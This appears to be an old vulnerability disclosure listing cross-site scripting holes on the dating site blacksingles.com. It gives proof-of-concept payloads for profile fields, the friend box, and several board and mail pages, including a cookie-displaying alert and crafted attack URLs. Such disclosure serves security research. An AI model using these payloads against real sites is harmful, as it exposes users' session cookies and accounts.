Blacksingles.com

Homepage:

http://www.blacksingles.com

Affected files

Profile input boxes

Add a friend input box.

list.html

view.html

reply.html

compose.html

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XSS vuln with cookie disclosure via the Location box.

User data isn't sanatized before generating it here. For a PoC, in your Location, input box below the "Please select your city" option put:

<img src=javascript:alert(document.cookie)>

Screenshots:

http://www.youfucktard.com/xsp/blacksingles1.jpg

http://www.youfucktard.com/xsp/blacksingles2.jpg

http://www.youfucktard.com/xsp/blacksingles5.jpg

When posting in a forum, as well as writing a mail to someone from the forum your location is displayed along with your name/age etc. So the XSS attack can

occur here too.

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XSS vuln via Add a friend input box.

Data isn't sanatized here either.

Screenshots:

http://www.youfucktard.com/xsp/blacksingles3.jpg

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list.html XSS vuln:

http://connect.blacksingles.com/boards/list.html?b=8">">">">"><IMG%20SRC
=javascript:alert('XSS')><"<"<"<"<'<'

Screenshots:

http://www.youfucktard.com/xsp/blacksingles4.jpg

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view.html XSS vuln:

http://connect.blacksingles.com/boards/view.html?b=8&t=485199">">">">"><
IMG%20SRC=javascript:alert('XSS')><"<"<"<"<'<'

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reply.html XSS vuln:

http://connect.blacksingles.com/boards/reply.html?b=8&t=485199&p=485199"
>">">">"><IMG%20SRC=javascript:alert('XSS')><"<"<"<"<'<'

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XSS vuln via compose.html.

http://connect.blacksingles.com/mail/compose.html?u=admin">">">">"><IMG%
20SRC=javascript:alert('XSS')><"<"<"<"<'<'

Screenshots:

http://www.youfucktard.com/xsp/blacksingles6.jpg

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